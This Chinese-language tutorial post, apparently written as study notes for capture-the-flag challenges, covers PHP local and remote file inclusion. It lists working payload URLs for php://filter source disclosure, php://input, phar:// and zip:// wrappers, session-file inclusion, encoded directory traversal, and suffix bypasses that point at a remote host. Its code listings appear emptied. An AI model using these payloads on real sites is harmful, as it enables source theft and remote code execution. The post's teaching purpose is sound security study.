php文件包含
前言
最近发现有很多文件包含的题目,而自己也只是一知半解,借着大佬的blog学习一下。看着chebeta做的,只做了一部分,具体的看原文chebeta。
正文
相关函数
PHP中能引发文件包含漏洞的函数通常是以下四个:
include 和 require 语句用于在执行流中插入写在其他文件中的有用的代码。
include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的:
- require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。
- include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行。
include_once:
使用include_once会在导入文件前先检测该文件是否在该页面的其他部分被应用过,如果有,则不会重复引用该文件,程序只能引用一次。(要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为php不允许相同名称的函数被重复声明)
require_once:
require_once语句是require语句的延伸,他的功能与require语句基本一致,不同的是,在应用require_once时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。(同事使用require_once语句在同一页面中引用了两个不同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行)
区别:如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。测试代码:
1 |
|
在同目录下有个phpinfo.txt,其内容为<?php phpinfo(); ?>
。则只需要访问:
http://127.0.0.1/phpinclude/index.php?file=phpinfo.txt
就可以成功解析成php
场景
- 具有相关的文件包含函数。
- 文件包含函数中存在动态变量,比如
include $file;
。- 攻击者能够控制该变量,比如
$file = $_GET['file'];
。
分类
LFI(Local File Inclusion)
本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。
RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置:
- allow_url_fopen = On //on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
- allow_url_include = On //off 默认关闭,该选项为on便是允许 包含URL 对象文件等
两个配置选项均需要为On,才能远程包含文件成功。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
这个文件必须命名为’php.ini’,并放置在httpd.conf中的PHPIniDir指令指定的目录中,使用phpinfo()函数可以查看。如果未作修改,windows平台下一般放在php安装目录中。
包含姿势
下面例子中index.php测试代码均为:
1 |
|
allow_url_fopen 默认为 On
allow_url_include 默认为 Off若有特殊要求,会在利用条件里指出。
php伪协议
为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。
php://input
- allow_url_include = On。
- 对allow_url_fopen不做要求。
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
php://filter
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了
解密后:
payload:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
index.php?file=php://filter/convert.base64-encode/resource=index.php //不加read也可以,在绕过一些waf时也许有用。
phar://
利用条件:
- php版本大于等于php5.3.0
姿势:
假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>
,打包成zip压缩包,如下:
指定绝对路径
index.php?file=phar://F:/phpstudy/PHPTutorial/WWW/phpinclude/phpinfo.zip/phpinfo.txt
或者使用相对路径(这里test.zip就在当前目录下)
index.php?file=phar://phpinfo.zip/phpinfo.txt
zip://
利用条件:
- php版本大于等于php5.3.0
姿势:
构造zip包的方法同phar。
但使用zip协议,需要指定绝对路径,不能使用相对路径,同时将#
编码为%23
,之后填上压缩包内的文件。
index.php?file=zip://F:/phpstudy/PHPTutorial/WWW/phpinclude/phpinfo.zip%23phpinfo.txt
包含session
利用条件:session文件路径已知,且其中内容部分可控。
姿势:
php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
比如这篇文章:
透過 LFI 引入 PHP session 檔案觸發 RCE
绕过姿势
平常碰到的情况肯定不会是简简单单的include $_GET['file'];
这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的,比如下面这段代码指定了前缀和后缀:
1 |
|
这样就很“难”直接去包含前面提到的种种文件。
指定前缀
1 |
|
目录遍历
这个最简单了,简要的提一下。
现在在/var/log/test.txt文件中有php代码<?php phpinfo();?>
,则利用../
可以进行目录遍历,比如我们尝试访问:
include.php?file=../../log/test.txt
则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功。
编码绕过
服务器端常常会对于../
等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。
- 利用url编码
- ../
- %2e%2e%2f
- ..%2f
- %2e%2e/
- ..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
- 二次编码
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
- 容器/服务器的编码方式
- ../
- ..%c0%af
- %c0%ae%c0%ae/
- 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
- Apache Tomcat Directory Traversal
- ..\
- ..%c1%9c
指定后缀
接着考虑指定后缀的情况。测试代码:
1 |
|
URL
url格式
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
姿势一:query(?)
1 | index.php?file=http://remoteaddr/remoteinfo.txt? |
则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作query从而被绕过。
姿势二:fragment(#)
1 | index.php?file=http://remoteaddr/remoteinfo.txt%23 |
则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作fragment从而被绕过。注意需要把#
进行url编码为%23
。
利用协议
前面有提到过利用zip协议和phar协议。假设现在测试代码为:
1 |
|
构造压缩包,
其中test.php内容为:<?php phpinfo(); ?>
利用zip协议,注意要指定绝对路径
长度截断
利用条件: php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
index.php?file=././././。。。省略。。。././shell.txt
则后缀/test/test.php
,在达到最大值后会被直接丢弃掉。
%00截断
利用条件: php版本 < php 5.3.4
index.php?file=phpinfo.txt%00